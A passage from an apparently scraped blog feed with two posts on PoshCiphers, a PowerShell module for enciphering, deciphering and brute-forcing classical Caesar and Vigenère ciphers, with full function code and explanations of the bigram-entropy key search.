<p>Breaking the Vigenère cipher in PowerShell turned out to be a lot more work than I first thought. Again, this is another occasion that I abandoned my first attempt. The reason I wrote a summary above about one of the ways Vigenère is defeated <s>because that was my first approach and it might make a comeback in my module when I have more time.</s></p>
<h3 id="knownlength">Known length</h3>
<p>Like I said at the start it took a lot longer to write the functions to brute force than expected. This was mainly because I tried to build all the bells and whistles from the start instead of just focusing on the core problem.</p>
<p>After I finally decided to focus on the core, I focused on breaking Vigenère when I knew the length of the key. The idea is I simply loop through the length of the key and partially decipher the ciphertext a bi-gram at a time. I then store the best bi-gram. Followed by rinsing and repeating until I have the best key for that key length.</p>
<pre><code class="language-powershell">ForEach ($First in $Alphabet)
{
    #Loop through the second half of the bigrams
    ForEach ($Second in $Alphabet)
    {
        $Bigram = $First + $Second
        $Entropy = 0
        #Gets an array with the ciphertext start for a vigenere square
        $Filter = Get-PCVigenereFilter -Key $Bigram | ForEach-Object { (26 - $_) % 26 }
        
        #Generates the starting indexes for the current key index
        $Sequence = For ($i = $KeyIndex; $i -lt ($CipherText.Length - 1); $i += $KeyLength) { $i }
        ForEach ($Index in $Sequence)
        {
            #Gets the plaintext value for the first part of the bigram at a given index
            $FirstPlain = ([Byte]$CipherText[$Index] - 65 + $Filter[0]) % 26
            #Gets the plaintext value for the second part of the bigram at a given index
            $SecondPlain = ([Byte]$CipherText[$Index + 1] - 65 + $Filter[1]) % 26
            #Adds the entropy for the plaintext bigram to the key bigram's entropy
            $Entropy += $BigramSqaure[$FirstPlain][$SecondPlain]
        }
</code></pre>
<p>The above is the heavy lifting part of the brute force. The comments I left in should explain each detailed part and I didn't break them up because I felt it made it harder to understand what is happening. Generally, it loops through all 676 bi-grams and calculates the entropy for that bi-grams part of the plaintext. Now, if you read Part 1 you might see that I reinvented a wheel I already reinvented. This was mainly for performance reasons. Next I needed to compare the bi-grams and keep the best one.</p>
<pre><code class="language-powershell">If ($Entropy -lt $Best.Entropy)
{
    $Best.First = $First
    $Best.Second = $Second
    $Best.Entropy = $Entropy
}
</code></pre>
<p>The above is pretty self explanatory. There are special considerations when its the first part of the key.</p>
<pre><code class="language-powershell">If ($KeyIndex -eq 0)
{
    #Object to hold the first index of the key
    $Zero = [PSCustomObject]@{
        'First' = $Best.First
        'Second' = $Best.Second
        'Entropy' = $Best.Entropy
    }
    #Push the first letter of the key to the key array
    $Key.Add($Zero.First) | Out-Null
}
</code></pre>
<p>The first thing done is checking if its the first index of the key and storing the value intended to be there in a custom object. I also add it to the actual key being generated. Next, I need to do something when its the last index of the key.</p>
<pre><code class="language-powershell">ElseIf ($KeyIndex -eq ($KeyLength - 1))
{
    #If last index in key add the first best
    $Key.Add($Best.First) | Out-Null
}
</code></pre>
<p>It might seem odd that I am seemingly arbitrarily storing the first part of the best bi-gram at the end. The reason is because the key will start to repeat and in the way I brute force the key from a known length it prevents the function from choosing the wrong letter as the last part of the key. Of course since I had special things to do when its the first or last part of the key I also had something special to do when its everything in between.</p>
<pre><code class="language-powershell">Else
{
    #Checks if previous is better then current and stores previous is true
    If ($Previous.Entropy -le $Best.Entropy) { $Key.Add($Previous.Second) | Out-Null }
    Else { $Key.Add($Best.First) | Out-Null }
}
#Object to hold the previous best bigram
$Previous =  [PSCustomObject]@{
    'First' = $Best.First
    'Second' = $Best.Second
    'Entropy' = $Best.Entropy
} 
</code></pre>
<p>The logic of the above is explain in the comments and the final part is storing the previous best bi-gram so I can compare it the next time around. Then I can make the best choice for the possible key in the next iteration of the loop. I mentioned earlier that a key gets repeated so after I have <em>found</em> the best key I still needed to do one more check.</p>
<pre><code class="language-powershell">If ($Best.Entropy -lt $Zero.Entropy) { $Key[0] = $Best.Second }
</code></pre>
<p>Basically, all the above does is check if on the repeat it found a better bi-gram than originally.</p>
<h4 id="invokepcbruteforcekey">Invoke-PCBruteForceKey</h4>
<pre><code class="language-powershell">Function Invoke-PCBruteForceKey
{
    &lt;# 
        .Synopsis
        Brute forces the best vigenere cipher key for a given keylength.

        .Description
        Brute forces the best vigenere cipher key for a given keylength.

        .Parameter CipherText
        Ciphertext to brute force the key from.

        .Parameter KeyLength
        Key length to brute force

        .Example
        Invoke-PCBruteForceKey -CipherText 'TpczwxviXzkxfitvgkwevvhtnitpwbetnvgbhlgixasxkjqhvitrxxdcfzjyagwcxygvcecnfmpkigvifgeklmgjxhvieztawv' -KeyLength 6
        SECRET

        .NOTES
        The length of the ciphertext is important because shorter ciphertext will increase the chance of an inaccurate result.
    #&gt;
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory = $True, Position=0, ValueFromPipeline=$True)]
        [String] $CipherText,
        [Parameter(Mandatory = $True, Position=1, ValueFromPipeline=$True)]
        [ValidateRange(2,99)]
        [Int] $KeyLength
    )
    Begin
    {
        #Remove anything that is not a letter
        $CipherText = [Regex]::Replace($CipherText,'[^a-zA-Z]','').ToUpper()
        #Array list to store the key in
        $Key = New-Object System.Collections.ArrayList
        #Bigram square with entropy values to use when generating entropy
        $BigramSqaure = Get-PCBigramSquare
        #Array with alphabet to generate bigrams from
        $Alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.ToCharArray()
    }
    Process
    {
        #Object to hold the best bigram and its entropy
        $Best = [PSCustomObject]@{
            'First' = ''
            'Second' = ''
            #Generates a large entrpoy initially so any pair will be better initially
            'Entropy' = [Math]::Pow(10,10)
        }
        #Loop through each index in the key
        ForEach ($KeyIndex in 0..($KeyLength - 1))
        {
            #Reset best entropy
            $Best.Entropy = [Math]::Pow(10,10)
            #Loop through the first half of the bigrams
            ForEach ($First in $Alphabet)
            {
                #Loop through the second half of the bigrams
                ForEach ($Second in $Alphabet)
                {
                    $Bigram = $First + $Second
                    $Entropy = 0
                    #Gets an array with the ciphertext start for a vigenere square
                    $Filter = Get-PCVigenereFilter -Key $Bigram | ForEach-Object { (26 - $_) % 26 }
                    
                    #Generates the starting indexes for the current key index
                    $Sequence = For ($i = $KeyIndex; $i -lt ($CipherText.Length - 1); $i += $KeyLength) { $i }
                    ForEach ($Index in $Sequence)
                    {
                        #Gets the plaintext value for the first part of the bigram at a given index
                        $FirstPlain = ([Byte]$CipherText[$Index] - 65 + $Filter[0]) % 26
                        #Gets the plaintext value for the second part of the bigram at a given index
                        $SecondPlain = ([Byte]$CipherText[$Index + 1] - 65 + $Filter[1]) % 26
                        #Adds the entropy for the plaintext bigram to the key bigram's entropy
                        $Entropy += $BigramSqaure[$FirstPlain][$SecondPlain]
                    }
                    #Checks if the key bigram's entropy is best entropy
                    If ($Entropy -lt $Best.Entropy)
                    {
                        $Best.First = $First
                        $Best.Second = $Second
                        $Best.Entropy = $Entropy
                    }
                }
            }
            If ($KeyIndex -eq 0)
            {
                #Object to hold the first index of the key
                $Zero = [PSCustomObject]@{
                    'First' = $Best.First
                    'Second' = $Best.Second
                    'Entropy' = $Best.Entropy
                }
                #Push the first letter of the key to the key array
                $Key.Add($Zero.First) | Out-Null
            }
            ElseIf ($KeyIndex -eq ($KeyLength - 1))
            {
                #If last index in key add the first best
                $Key.Add($Best.First) | Out-Null
            }
            Else
            {
                #Checks if previous is better then current and stores previous is true
                If ($Previous.Entropy -le $Best.Entropy) { $Key.Add($Previous.Second) | Out-Null }
                Else { $Key.Add($Best.First) | Out-Null }
            }
            #Object to hold the previous best bigram
            $Previous =  [PSCustomObject]@{
                'First' = $Best.First
                'Second' = $Best.Second
                'Entropy' = $Best.Entropy
            }   
        }
        #Checks if last best bigram is better then key index zero
        If ($Best.Entropy -lt $Zero.Entropy) { $Key[0] = $Best.Second }
    }
    End
    {
        [String]$Key = $Key -join ''
        Return $Key
    }
}
</code></pre>
<h3 id="addingabell">Adding a bell</h3>
<p>Once I solved breaking Vigenère with a known key length, I needed to make it work when I didn't know the key length. In order to do this all I had to do was have it loop through each possible key length and find the best key for that length.</p>
<pre><code class="language-powershell">ForEach ($KeyLength in $MinKeyLength..($MaxKeyLength + 1))
{
    $Key = Invoke-PCBruteForceKey -CipherText $Message -KeyLength $KeyLength
</code></pre>
<p>Of course a limitation is how do I know which of the keys is the best key. To do this I simply used my deciphering function and entropy functions to obtain the plaintext and score it.</p>
<pre><code class="language-powershell">$PlainText = Invoke-PCVigenereDecipher -CipherText $Message -Key $Key | Select-Object -ExpandProperty PlainText
$Entropy = Get-PCBigramEntropy -Text $PlainText
</code></pre>
<h4 id="invokepcbruteforcevigenere">Invoke-PCBruteForceVigenere</h4>
<pre><code class="language-powershell">Function Invoke-PCBruteForceVigenere
{
    &lt;# 
        .Synopsis
        Brute forces the best vigenere cipher key for a given keylength range.

        .Description
        Brute forces the best vigenere cipher key for a given keylength range.

        .Parameter CipherText
        Ciphertext to brute force the key from.

        .Parameter MinKeyLength
        Minimum key length to brute force.
            Default value is 3.

        .Parameter MaxKeyLength
        Maximum key length to brute force.
            Default value is 30.

        .Parameter Return
        The number of potential matches returned. 
            Default value is 1.

        .Parameter Strip
        Removes whitespaces from the ciphertext message(s).

        .Example
        Invoke-PCBruteForceVigenere -CipherText 'Zls tnsogs wuv sebborj pwvy fkxkvkr lvsvjss ebu nevtwekwy ebu lsx xvv mvkeh sapq st dgrqmbu nevtwekwy mg skxzif' -Return 2

        PlainText                                CipherText                               Key                           Entropy
        ---------                                ----------                               ---                           -------
        The cibmue lor nanaind liet oilwken      Zls tnsogs wuv sebborj pwvy fkxkvkr      GEORFRCMOLGEFEOBGE   210.614486327131
        greudom and inthitest ant for the heist  lvsvjss ebu nevtwekwy ebu lsx xvv mvkeh
        hull of cankind inthitest is retter      sapq st dgrqmbu nevtwekwy mg skxzif
        The choice for mankind lies between      Zls tnsogs wuv sebborj pwvy fkxkvkr      GEORGE               216.636909401074
        freedom and happiness and for the great  lvsvjss ebu nevtwekwy ebu lsx xvv mvkeh
        bulk of mankind happiness is better      sapq st dgrqmbu nevtwekwy mg skxzif

        .Example
        Invoke-PCBruteForceVigenere -CipherText 'Zls tnsogs wuv sebborj pwvy fkxkvkr lvsvjss ebu nevtwekwy ebu lsx xvv mvkeh sapq st dgrqmbu nevtwekwy mg skxzif' -MaxKeyLength 10

        PlainText                                CipherText                               Key                           Entropy
        ---------                                ----------                               ---                           -------
        The choice for mankind lies between      Zls tnsogs wuv sebborj pwvy fkxkvkr      GEORGE               216.636909401074
        freedom and happiness and for the great  lvsvjss ebu nevtwekwy ebu lsx xvv mvkeh
        bulk of mankind happiness is better      sapq st dgrqmbu nevtwekwy mg skxzif

        .NOTES
        The length of the ciphertext is important because shorter ciphertext will increase the chance of an inaccurate result.
        Too high of a maximum key length can also cause an inaccurate result.

        .LINK
        https://github.com/stackcrash/PoshCiphers
    #&gt;
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory = $True, Position=0, ValueFromPipeline=$True)]
        [String[]] $CipherText,
        [Parameter(Mandatory = $False, Position=1, ValueFromPipeline=$True)]
        [ValidateRange(2,99)]
        [Int] $MinKeyLength = 3,
        [Parameter(Mandatory = $False, Position=2, ValueFromPipeline=$True)]
        [ValidateRange(2,99)]
        [Int] $MaxKeyLength = 20,
        [Parameter(Mandatory = $False, Position=3)]
        [ValidateRange(1,99)]
        [Int] $Return = 1,
        [Parameter(Mandatory = $False)]
        [Switch]$Strip
    )
    Begin
    {
        #Check if MaxKeyLength is less than MinKeyLength
        If ($MaxKeyLength -lt $MinKeyLength)
        {
            Write-Error -Message &quot;MaxKeyLength must be equal to or greater than MinKeyLength.&quot;
            Break
        }
        #Create an array list to store results in
        $DecipheredMessages = New-Object System.Collections.ArrayList
    }
    Process
    {
        #Loop through each ciphertext
        ForEach ($Message in $Ciphertext)
        {
            $CipherLen = [Regex]::Replace($Message,'[^a-zA-Z]','').Length
            If ($CipherLen -lt $MaxKeyLength) { $MaxKeyLength = $CipherLen}
            #Create an array list to store deciphered characters in
            $DecipheredArray = New-Object System.Collections.ArrayList
            #Create an array list to store deciphered characters in
            If ($Strip)
            {
                #Remove whitespaces
                $Message = $Message -replace '\s', ''
            }
            ForEach ($KeyLength in $MinKeyLength..($MaxKeyLength + 1))
            {
                $Key = Invoke-PCBruteForceKey -CipherText $Message -KeyLength $KeyLength
                $PlainText = Invoke-PCVigenereDecipher -CipherText $Message -Key $Key | Select-Object -ExpandProperty PlainText
                $Entropy = Get-PCBigramEntropy -Text $PlainText

                $Result = [PSCustomObject]@{
                    'Plaintext' = $PlainText
                    'Ciphertext' = $Message
                    'Key' = $Key
                    'Entropy' = $Entropy
                }
                $Result.PSObject.TypeNames.Insert(0,'PoshCiphers.Vigenere.Brute')
                #Add results to a the $DecipheredArray
                $DecipheredArray.Add($Result) | Out-Null
            }
            #Add the number of desired returns after sorting the $DecipheredArray
           $DecipheredMessages.Add(($DecipheredArray | Sort-Object -Property Entropy | Select-Object -First $Return)) | Out-Null
        }
    }
    End
    {
        #Return the results
        Return $DecipheredMessages
    }
}
</code></pre>
<h2 id="itsfinallyover">Its finally over...</h2>
<p>Like I mentioned in Part 1 I do plan to expand the module even more. This is the end for the planned posts for now. I will definitely work on improving the accuracy and performance of the Vigenère brute forcing because it does sometimes give a false positive on shorter ciphertext. I will also expand the module to cover more ciphers like Substitution ciphers and I might do a write-up when there are major expansions.</p>
]]></content:encoded></item><item><title><![CDATA[Reinventing the Wheel in PowerShell: PoshCiphers - Part 1]]></title><description><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Anyone who knows me knows I am a huge fan of PowerShell and a firm believer in reinventing the wheel with PowerShell in order to learn. So, this last weekend I bought a new book (<a href="https://www.amazon.com/Code-Book-Science-Secrecy-Cryptography/dp/0385495323">The Code Book</a>). After reading a few chapters and reminiscing on doing the <a href="http://overthewire.org/wargames/krypton/">Krypton</a></p>]]></description><link>https://www.itsecguy.com/reinventing-the-wheel-in-powershell-poshciphers-2/</link><guid isPermaLink="false">5b4ea0ad43bdde04b66f11ff</guid><category><![CDATA[PowerShell]]></category><category><![CDATA[Challenges]]></category><category><![CDATA[CTFs]]></category><dc:creator><![CDATA[StackCrash]]></dc:creator><pubDate>Wed, 22 Feb 2017 04:01:00 GMT</pubDate><media:content url="https://www.itsecguy.com/content/images/2017/02/vigenere.PNG" medium="image"/><content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<img src="https://www.itsecguy.com/content/images/2017/02/vigenere.PNG" alt="Reinventing the Wheel in PowerShell: PoshCiphers - Part 1"><p>Anyone who knows me knows I am a huge fan of PowerShell and a firm believer in reinventing the wheel with PowerShell in order to learn. So, this last weekend I bought a new book (<a href="https://www.amazon.com/Code-Book-Science-Secrecy-Cryptography/dp/0385495323">The Code Book</a>). After reading a few chapters and reminiscing on doing the <a href="http://overthewire.org/wargames/krypton/">Krypton</a> challenges from OverTheWire, I decided I wanted to reinvent the wheel. Of course to further challenge myself I wanted to do it right and make a genuine PowerShell module.</p>
<p>If you just want to jump right into the module its posted on my GitHub as <a href="https://github.com/stackcrash/PoshCiphers">PoshCiphers</a>.</p>
<p>For brevity I am only explaining the core parts of the module related to the cryptography and not the complete module. I hope my comments and some googling are enough for anyone who has questions about anything I haven't covered from the module.</p>
<h3 id="update">Update</h3>
<p>The module now performs brute forcing for Caesar and Vigenère ciphers. There have also been significant changes to the functions and their names so please use the versions on <a href="https://github.com/stackcrash/PoshCiphers">GitHub</a>.</p>
<h2 id="firsthowdoyoumakeapowershellmodule">First, How do you make a PowerShell module?</h2>
<p>Since I had never created a PowerShell module, I had to learn how to do that first. While I have read a few PowerShell books, most of them were very light on the modules and proper way to create them. Thankfully, there were various blogs that helped me tackle the first challenge. There even is a PowerShell module called PowerRails that helps build the scaffolding for a module.</p>
<ul>
<li><a href="https://ramblingcookiemonster.github.io/Building-A-PowerShell-Module/">Building A PowerShell Module</a></li>
<li><a href="https://github.com/misterGF/PowerRails">PowerRails</a></li>
</ul>
<h2 id="goodoldcaesar">Good Old Caesar</h2>
<p>The first and easiest cipher to build support for in my module was the classic Caesar cipher. The Caesar cipher are simple rotation based monoalphabetic cipher. Traditionally, the Caesar cipher is a rotation of three. This means if you take the word <code>Example</code> and rotate it by three it becomes <code>Hadpsoh</code>.</p>
<p>When I first did the Krypton challenges I was very inexperienced compared to now and made a python script that was crude to say the least in order to work through most the challenges.</p>
<pre><code class="language-python">ciphertext = &quot;QRWW KHEH VWHA DPSO H&quot;
alpha = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;
rot = 3
deciphered = &quot;&quot;

str(rot)
for char in ciphertext:
   if char in alpha:
      deciphered += alpha[(alpha.index(char)-rot)%(len(alpha))]

print &quot;[-] Deciphered: &quot; + deciphered
</code></pre>
<p>As anyone can see from the python script it was limited. First, it could only handle uppercase ciphertext. Second, its re-usability was terrible.</p>
<h3 id="decipheringinpowershell">Deciphering in PowerShell</h3>
<p>I choose to approach the functions for the Caesar cipher by building the support to decipher it first.</p>
<h4 id="themathbehindit">The math behind it</h4>
<p>In order to decipher a Caesar cipher. First the letters have to be converted to numbers such as <em>A=0,B=1,C=2,etc</em>. Then subtracting the rotation from the letter. To account for when the result is not between <em>0-25</em> using the modulus of the rotated letter and <em>26</em> will provide the proper result. In case I am terrible at explaining the math please look at the <a href="https://en.wikipedia.org/wiki/Caesar_cipher#Example">Wikipedia</a> entry for Caesar ciphers.</p>
<h4 id="powershellnthatmath">PowerShell'n that math</h4>
<p>First, I wanted to build a function to handle the modulus portion of the algorithm. This part was easy I simply made a function called <code>Get-Modulus</code> that took two parameters <code>$Dividend</code> and <code>$Divisor</code>. I then simply calculated the modulus and returned it.</p>
<pre><code class="language-powershell">$Modulus = ($Dividend % $Divisor + $Divisor) % $Divisor
Return $Modulus
</code></pre>
<h5 id="getmodulus">Get-Modulus</h5>
<pre><code class="language-powershell">Function Get-Modulus 
{
    &lt;# 
        .Synopsis
        Returns the modulus of a dividend and divisor.

        .Description
        Returns the modulus of a dividend and divisor.

        .Parameter Dividend
        The dividend to use.

        .Parameter Divisor
        The divisor to use.

        .Example
        Get-Modulus -Dividend 5 -Divisor 2
    #&gt;
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory = $True, Position=0, ValueFromPipeline=$True)]
        [Int] $Dividend,
        [Parameter(Mandatory = $True, Position=1, ValueFromPipeline=$True)]
        [Int] $Divisor
    )
    Process
    {
        $Modulus = ($Dividend % $Divisor + $Divisor) % $Divisor
    }
    End
    {
        #Returns the Modulus of the dividend and divisor
        Return $Modulus 
    }
}
</code></pre>
<p>Next, I had to apply the modulus to the formula and write it in the PowerShell way. Additionally, I wanted to account for both uppercase and lowercase this time.</p>
<pre><code class="language-powershell">(Get-Modulus -Dividend $($_ - 65 - $Rotation) -Divisor 26) + 65
</code></pre>
<p>The above snippet is for uppercase letters and there is some additions in the formula over what I mentioned earlier. You might be noticing the <em>65</em>s thrown around in there and this is because I am converting the letters into their ASCII code but in order for the formula to work I have to subtract the ASCII code for <em>A</em> to make the letters match the <em>0-25</em> range, and of course I have to add the ASCII code back to make it a valid ASCII code again. I also had to do it again for lowercase letters which looks like the snippet below.</p>
<pre><code class="language-powershell">(Get-Modulus -Dividend $($_ - 97 - $Rotation) -Divisor 26) + 97
</code></pre>
<h5 id="getrotdecipher">Get-RotDecipher</h5>
<pre><code class="language-powershell">Function Get-RotDecipher
{
    &lt;# 
        .Synopsis
        Deciphers message(s) that has been enciphered with a rotation based cipher.

        .Description
        Deciphers message(s) that has been enciphered with a rotation based cipher.

        .Parameter Ciphertext
        The enciphered message(s) to be deciphered.

        .Parameter Rotation
        The rotation to use for deciphering. 
            Default value is 13.
        
        .Parameter Strip
        Removes whitespaces from the ciphertext message(s).

        .Example
        Get-RotDecipher -Ciphertext &quot;Rknzcyr&quot; -Rotation 13

        Plaintext Ciphertext Rotation
        --------- ---------- --------
        Example   Rknzcyr          13

        .Example
        Get-RotDecipher -Ciphertext &quot;Rknzcyr Jvgu Fcnprf&quot; -Rotation 13 -Strip

        Plaintext         Ciphertext        Rotation
        ---------         ----------        --------
        ExampleWithSpaces RknzcyrJvguFcnprf       13

        .LINK
        https://github.com/stackcrash/PoshCiphers
    #&gt;
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory = $True, Position=0, ValueFromPipeline=$True)]
        [String[]] $Ciphertext,
        [Parameter(Mandatory = $False, Position=1)]
        [Int] $Rotation = 13,
        [Parameter()]
        [Switch]$Strip
    )
    Begin
    {
        #Create an array list to store results in
        $DecipheredMessages = New-Object System.Collections.ArrayList
    }
    Process
    {
        #Loop through each ciphertext
        ForEach ($Message in $Ciphertext)
        {
            #Create an array list to store deciphered characters in
            $Deciphered = New-Object System.Collections.ArrayList
            If ($Strip)
            {
                #Remove whitespaces
                $Message = $Message -replace '\s', ''
            }
            #Loop though each character in the message
            ForEach ($Character in $Message.ToCharArray())
            {
                #Convert the character to ASCII code
                Switch ([Byte]$Character)
                {
                    #Decipher uppercase characters
                    {$_ -ge 65 -and $_ -le 90} { $Deciphered.Add([Char]((Get-Modulus -Dividend $($_ - 65 - $Rotation) -Divisor 26) + 65)) | Out-Null }
                    #Decipher lowercase characters
                    {$_ -ge 97 -and $_ -le 122} { $Deciphered.Add([Char]((Get-Modulus -Dividend $($_ - 97 - $Rotation) -Divisor 26) + 97)) | Out-Null }
                    #Pass through symbols and numbers
                    Default { $Deciphered.Add($Character) | Out-Null }
                }
            }
            #Add results of the decipher
            $DecipheredMessages.Add(([PSCustomObject]@{
                'Plaintext' = $Deciphered -join &quot;&quot;
                'Ciphertext' = $Message
                'Rotation' = $Rotation
            })) | Out-Null
        }
    }
    End
    {
        #Return the results
        Return $DecipheredMessages
    }
}
</code></pre>
<h3 id="encipheringinpowershell">Enciphering in PowerShell</h3>
<p>After solving the challenge of deciphering, enciphering was easy since all I had to do is add the rotation instead of subtracting it. The change is simple enough so the uppercase formula looks like the snippet below.</p>
<pre><code class="language-powershell">(Get-Modulus -Dividend $($_ - 65 + $Rotation) -Divisor 26) + 65
</code></pre>
<p>And the lowercase formula.</p>
<pre><code class="language-powershell">(Get-Modulus -Dividend $($_ - 97 + $Rotation) -Divisor 26) + 97
</code></pre>
<h5 id="getrotencipher">Get-RotEncipher</h5>
<pre><code class="language-powershell">Function Get-RotEncipher
{
    &lt;# 
        .Synopsis
        Enciphers plaintext message(s) with a rotation based cipher.

        .Description
        Enciphers plaintext message(s) with a rotation based cipher.

        .Parameter Plaintext
        The plaintext message(s) to be enciphered.

        .Parameter Rotation
        The rotation to use for enciphering. 
            Default value is 13.
        
        .Parameter Spacing
        The amount of characters to insert spaces between in the ciphertext.
            Default value is 0.
        
        .Parameter Strip
        Removes whitespaces from the plaintext message(s).

        .Example
        Get-RotEncipher -Plaintext &quot;Example&quot; -Rotation 13

        Plaintext Ciphertext Rotation
        --------- ---------- --------
        Example   Rknzcyr          13

        .Example
        Get-RotEncipher -Plaintext &quot;Example With Spaces&quot; -Rotation 13 -Strip

        Plaintext         Ciphertext        Rotation
        ---------         ----------        --------
        ExampleWithSpaces RknzcyrJvguFcnprf       13

        .Example
        Get-RotEncipher -Plaintext &quot;Example With Spaces&quot; -Rotation 13 -Spacing 4

        Plaintext         Ciphertext              Rotation
        ---------         ----------              --------
        Example With Spaces Rknz cyrJ vguF cnpr f       13

        .LINK
        https://github.com/stackcrash/PoshCiphers
    #&gt;
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory = $True, Position=0, ValueFromPipeline=$True)]
        [String[]] $Plaintext,
        [Parameter(Mandatory = $False, Position=1)]
        [Int] $Rotation = 13,
        [Parameter(Mandatory = $False, Position=2)]
        [String] $Spacing = 0,
        [Parameter()]
        [Switch]$Strip
    )
    Begin
    {
        #Create an array list to store results in
        $EncipheredMessages = New-Object System.Collections.ArrayList
    }
    Process
    {
        #Loop through each message
        ForEach ($Message in $Plaintext)
        {
            #Create an array list to store enciphered characters in
            $Enciphered = New-Object System.Collections.ArrayList
            If ($Strip)
            {
                #Remove whitespaces
                $Message = $Message -replace '\s', ''
            }
            #Loop though each character in the message
            ForEach ($Character in $Message.ToCharArray())
            {
                #Convert the character to ASCII code
                Switch ([Byte]$Character)
                {
                    #Encipher uppercase characters
                    {$_ -ge 65 -and $_ -le 90} { $Enciphered.Add([Char]((Get-Modulus -Dividend $($_ - 65 + $Rotation) -Divisor 26) + 65)) | Out-Null }
                    #Encipher lowercase characters
                    {$_ -ge 97 -and $_ -le 122} { $Enciphered.Add([Char]((Get-Modulus -Dividend $($_ - 97 + $Rotation) -Divisor 26) + 97)) | Out-Null }
                    #Pass through symbols and numbers
                    Default { $Enciphered.Add($Character) | Out-Null }
                }
            }
            #Join the results of the encipher
            $Ciphertext = $Enciphered -join &quot;&quot;
            #Check is spacing is used
            If ($Spacing -ge 1)
            {
                #Remove existing whitespaces
                $Ciphertext = $Ciphertext -replace '\s', ''
                #Split the ciphertext into the desired spacing
                $Ciphertext = ([RegEx]::Matches($Ciphertext, &quot;.{1,$Spacing}&quot;) | ForEach-Object { $_.Value }) -join ' '
            }
            #Add results of the encipher
            $EncipheredMessages.Add(([PSCustomObject]@{
                'Plaintext' = $Message
                'Ciphertext' = $Ciphertext
                'Rotation' = $Rotation
            })) | Out-Null
        }
    }
    End
    {
        #Return the array of PowerShell objects
        Return $EncipheredMessages
    }
}
</code></pre>
<h2 id="vivelavigenre">Vive la Vigenère</h2>
<p>The next cipher to build support for was the Vigenère cipher which is rotation based like the Caesar cipher. Unlike the Caesar cipher it is a polyalphabetic cipher that uses a repeated keyword to rotate between multiple sets of rotated alphabets.</p>
<h3 id="encipheringfirstthistime">Enciphering first this time</h3>
<p>This time I choose to tackle the challenge from the enciphering side first.</p>
<h4 id="moremathfun">More math fun</h4>
<p>The <a href="https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher#Algebraic_description">Wikipedia</a> entry definitely gives a better description of the math behind it than I can. But I will try my best to explain the math in PowerShell.</p>
<h4 id="powershellnthemathagain">PowerShell'n the math again</h4>
<p>Once again I needed to create a function to handle a specific part of the cipher. This time it was a function to handle creating the alphabets from the key to use in the enciphering. There are generally two approaches to this. One is you generate a table of all <em>26</em> possible alphabets and perform lookups based on the letter in the key. The second and probably easiest is to simply generate an array with the start point for each of the alphabets based on the key.</p>
<p>The function <code>Get-VigFilter</code> was a little more complicated than the modulus function for the Caesar cipher so I will break it down to the two core parts. This time the function only takes one parameter called <code>$Key</code> which as you can guess is the key being used. Next it loops through each letter in the key and looks at uppercase and lowercase letters while ignoring other characters.</p>
<pre><code class="language-powershell">($_ - 65) % 26
</code></pre>
<p>The above is the algorithm to generate the <em>0-25</em> value for the letter. Lowercase is identical except it uses <em>97</em> instead of the <em>65</em>.</p>
<pre><code class="language-powershell">($_ - 97) % 26
</code></pre>
<p>Even though the function accounts for uppercase and lowercase in reality the Vigenère cipher alphabet is case-insensitive to uppercase or lowercase.</p>
<h5 id="getvigfilter">Get-VigFilter</h5>
<pre><code class="language-powershell">Function Get-VigFilter 
{
    &lt;# 
        .Synopsis
        Returns an array of numbers representing the vigenere key.

        .Description
        Returns an array of numbers representing the vigenere key.

        .Parameter Key
        The key to use.

        .Example
        Get-VigFilter -Key &quot;password&quot;
    #&gt;
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory = $True, Position=0, ValueFromPipeline=$True)]
        [String] $Key
    )
    Begin
    {
        $KeyArray = New-Object System.Collections.ArrayList
    }
    Process
    {
        ForEach ($Character in $Key.ToCharArray())
        {
            Switch ([Byte]$Character)
            {
                #Uppercase characters
                {$_ -ge 65 -and $_ -le 90} { $KeyArray.Add((($_ - 65) % 26)) | Out-Null }
                #Lowercase characters
                {$_ -ge 97 -and $_ -le 122} { $KeyArray.Add((($_ - 97) % 26)) | Out-Null }
                #Ignore symbols and numbers
                Default { Out-Null }
            }
        }
    }
    End
    {
        Return $KeyArray
    }
}
</code></pre>
<p>Since the function that generates the array was complete, I needed to implement that into a function to perform the encipher.</p>
<pre><code class="language-powershell">$Filter = Get-VigFilter -Key $Key
$FilterIndex = 0
</code></pre>
<p>The above snippet is calling the function to generate the array and also setting a different variable to zero. The variable above called <code>$FilterIndex</code> is the beginning of the key and it will increment each enciphered letter because the key is repeated over and over in order to encipher a full alphabet. Next I had to integrate this all into the rest of the math for the cipher.</p>
<pre><code class="language-powershell">$Enciphered.Add([Char](($_ - 65 + $Filter[$FilterIndex % $Filter.Length]) % 26 + 65)) | Out-Null
$FilterIndex += 1
</code></pre>
<p>Above is the complete snippet for an uppercase letter but don't worry I will break it down. First, we do the same subtraction of the ASCII code for <em>A</em> in order to reduce the letter to the value between <em>0-25</em>. Next the value from the key array is added in order to perform the rotation based on the appropriate part of the key. Finally, the modulo of <em>26</em> is applied and we add back the ASCII value of <em>A</em>. Again this is to make the result a valid letter between <em>A-Z</em>. <code>$Filter[$FilterIndex % $Filter.Length]</code> is used to provide a simple mechanism for repeating the key without the need for any additional logic or resetting the key index.</p>
<pre><code class="language-powershell">$Enciphered.Add([Char](($_ - 97 + $Filter[$FilterIndex % $Filter.Length]) % 26 + 97)) | Out-Null
$FilterIndex += 1
</code></pre>
<p>Lowercase letters are handled identically except once again the ASCII of <em>A</em> is swapped with <em>a</em>.</p>
<h5 id="getvigencipher">Get-VigEncipher</h5>
<pre><code class="language-powershell">Function Get-VigEncipher
{
    &lt;# 
        .Synopsis
        Enciphers plaintext message(s) with a Vigenere cipher.

        .Description
        Enciphers plaintext message(s) with a Vigenere cipher.

        .Parameter Plaintext
        The plaintext message(s) to be enciphered.

        .Parameter Key
        The key to use in the enciphering.
        Note: The key is case-insensitive.

        .Parameter Spacing
        The amount of characters to insert spaces between in the ciphertext.
            Default value is 0.
        
        .Parameter Strip
        Removes whitespaces from the plaintext message(s).

        .Example
        Get-VigEncipher -Plaintext &quot;Example&quot; -Key &quot;password&quot;

        Plaintext Ciphertext Key
        --------- ---------- ---
